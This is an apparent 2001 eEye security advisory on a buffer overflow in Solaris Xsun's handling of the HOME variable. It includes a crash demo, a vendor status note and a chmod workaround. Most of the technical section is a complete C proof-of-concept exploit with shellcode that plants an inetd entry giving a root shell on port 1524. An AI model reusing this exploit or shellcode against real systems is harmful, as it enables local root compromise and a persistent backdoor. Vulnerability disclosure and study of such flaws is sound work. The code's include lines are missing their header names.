Solaris Xsun Buffer Overflow Vulnerability Release Date:
April 10, 2001

Severity:
Local Root Compromise

Vendor:
Sun Microsystems

Systems Affected:
Solaris 7 and Solaris 8 x86 suid vulnerable
Solaris 7 and Solaris 8 Sparc sgid vulnerable

Overview:
Yet some more Solaris spring cleaning...

A buffer overflow was discovered in Xsun. Since Xsun is SUID root, exploiting this vulnerability yields root privileges. The overflow exists in Xsun’s handling of the HOME environment variable.

bash-2.03$ HOME=`perl -e 'print "A"x1050'`
bash-2.03$ /usr/openwin/bin/Xsun :1
Warning: There is no XDISPLAY information for display 1.
Server is using XDISPLAY information for display 0.
Default Font Path: /usr/openwin/lib/X11/
Segmentation Fault (core dumped)

Technical Details:
Proof of Concept:

/***********************************/
Solaris 7 (x86) /usr/openwin/bin/Xsun
HOME environment overflow

Proof of Concept Exploitation
Riley Hassell of eEye Digital Security

Puts a Root shell on local port 1524
/***********************************/

#include
#include
#include
#include
#define BUFLEN 1041

/* seteuid/setuid/inetd shell */
char eyecode[] =
"\xeb\x51\x9a\x65\x65\x79\x65\x07\x90\xc3\x5e"
"\x29\xc0\x89\x46\xab\x88\x46\xb0\x89\x46\x0c"
"\x50\xb0\x8d\xe8\xe4\xff\xff\xff\x29\xc0\x50"
"\xb0\x17\xe8\xda\xff\xff\xff\x29\xc0\x88\x46"
"\x17\x88\x46\x1a\x88\x46\x78\x29\xc0\x50\x56"
"\x8d\x5e\x10\x89\x1e\x53\x8d\x5e\x18\x89\x5e"
"\x04\x8d\x5e\x1b\x89\x5e\x08\xb0\x3b\xe8\xb2"
"\xff\xff\xff\x90\x90\xc3\xe8\xb2\xff\xff\xff"
"\x90\x6b\x61\x6d\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x2f\x62\x69\x6e\x2f\x73"
"\x68\x20\x2d\x63\x20"
"echo \"ingreslock stream tcp nowait root /bin/sh sh -i\">/tmp/eeye;"
"/usr/sbin/inetd -s /tmp/eeye2001";

char buf[BUFLEN];
unsigned long int nop, esp;
long int offset = 0;

unsigned long int get_esp()
{__asm__("movl %esp,%eax");}

int main (int argc, char *argv[])
{
int i;
if (argc > 1)
offset = strtol(argv[1], NULL, 0);
else
offset = -200;
esp = get_esp();
memset(buf, 0x90, BUFLEN);
memcpy(buf+800, eyecode, strlen(eyecode));
*((int *) &buf[1037]) = esp+offset;
strncpy(&buf[0],"HOME=",5);
putenv(buf);
execl("/usr/openwin/bin/Xsun", "eEye", ":1",NULL);
return;
}

Vendor Status:
Sun Microsystems has been contacted. They are currently working on patches for this and other related vulnerabilities eEye has discovered. We would like to thank them for working with us on creating a patch for this vulnerability.

Workaround:
chmod –s /usr/openwin/bin/Xsun
This will remove the setuid bit from Xsun, therefore if someone does exploit this vulnerability, they won’t gain higher privileges.

Credit:
Riley Hassell

Greetings:
ADM, Lamagra, Zen-Parse, and Speakeasy Networks

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